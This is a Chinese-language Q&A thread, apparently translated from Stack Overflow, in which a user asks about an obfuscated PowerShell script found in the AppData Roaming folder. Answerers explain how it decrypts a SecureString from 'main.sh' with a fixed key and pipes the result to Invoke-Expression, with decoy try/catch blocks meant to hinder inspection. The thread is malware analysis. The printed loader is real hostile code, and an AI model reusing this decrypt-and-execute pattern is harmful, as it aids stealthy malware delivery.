Windows PowerShell恶意脚本
我在%appdata%漫游中的文件夹中找到此代码:( 有人能告诉我它是干什么的吗Windows PowerShell恶意脚本,powershell,virus,Powershell,Virus,我在%appdata%漫游中的文件夹中找到此代码:( 有人能告诉我它是干什么的吗 try{Get-Transaction:Test-Connection New-WindowsImage:Register-ArgumentCompleter Get-HgsTrace:Set-VMMigrationNetwork}catch{ $sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" -r
try{Get-Transaction:Test-Connection
New-WindowsImage:Register-ArgumentCompleter
Get-HgsTrace:Set-VMMigrationNetwork}catch{
$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" -replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
try{Save-VM:Get-Variable
Set-RuleOption:Get-WindowsSearchSetting
Remove-PSReadLineKeyHandler:Remove-VMResourcePool}catch{}
$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=@(1..16);
$HXZBX=[System.Runtime.InteropServices.Marshal]
$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}
谢谢!让我们看看。第一个
try-catch
可能是模糊处理,以避免粗略检查。catch(双关语)位于catch
块中。它包含有效负载,因此try
块旨在引发异常
$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" `
-replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
变量包含模糊的单词powershell
,这是通过将大量无意义字符串替换为零来显示的。有带搜索参数的-replce
,但没有替换参数,因此它只删除填充符IoG,ZsvjJ…
$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=@(1..16);
此处Get Process
用于查找Powershell是否正在运行。如果没有运行多个进程,请创建一个包含值1-16的数组。这可能是为了避免交互式会话处于活动状态的情况
$HXZBX=[System.Runtime.InteropServices.Marshal]
为InterOpServices的封送处理创建一个别名。这里没有什么麻烦,合法的用途是节省键入和读取长名称空间描述符的时间
$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
读取一个文件main.sh
。它包含一个SecureString,用密钥1,2,3…,15,16加密
$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
SecureString负载被转换为BSTR。我猜这是到
try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
另一个“让我们隐藏在catch块中”,它设置了一个包含无意义内容的变量。不知道为什么
$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
另一个步骤是解密,然后是另一个try catch
块中的奇怪东西,没有明显的意图
$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}
SecureString转换的最终有效负载将被过滤以消除混淆,并将结果传递给执行调用表达式
要查看有效负载是什么,请按照Jeramy的评论进行操作。将变量名称替换为更具描述性的名称:
$key=@(1..16)
$encryptedStr = Get-Content "main.sh"
$secString = ConvertTo-SecureString $encryptedStr -key $key
$bstrPtr = $HXZBX::SecureStringToBSTR($secString)
$obfuscatedStr = $HXZBX::PtrToStringAuto($bstrPtr)
$obfuscatedStr -replace "UGSttylIkwIFr"
正是@vonPryz上面描述的内容。您可以通过从同一位置运行PowerShell并执行以下步骤获得更多信息:
$iuOpORc=get Content“main.sh”$kvsqjipalhpywxapr=ConvertTo SecureString$iuOpORc-key$uMBOKUgyzWiOSfp;$reEFPHvZmrf=$HXZBX::SecureStringToBSTR($kvsqjipalhpywxapr)$zcthAxqVWAZrzkx=$HXZBX::PtrToStringAuto($reEFPHvZmrf);$zcthAxqVWAZrzkx-替换“UGSttylIkwIFr”;
这应该可以从main.sh文件中获取他们试图执行的操作的名称。@Jeramy在执行步骤时遇到了一些错误。@Jeramy顺便说一句,main.sh文件中包含91.073个字符line@AlessioDe Feudis我忘了堆栈会折叠注释中的换行符。文件名后需要有一个semi:$iuOpORc=获取内容“main.sh”
当然,我无法实际测试它,因为我没有源文件,但这应该可以为您获取它。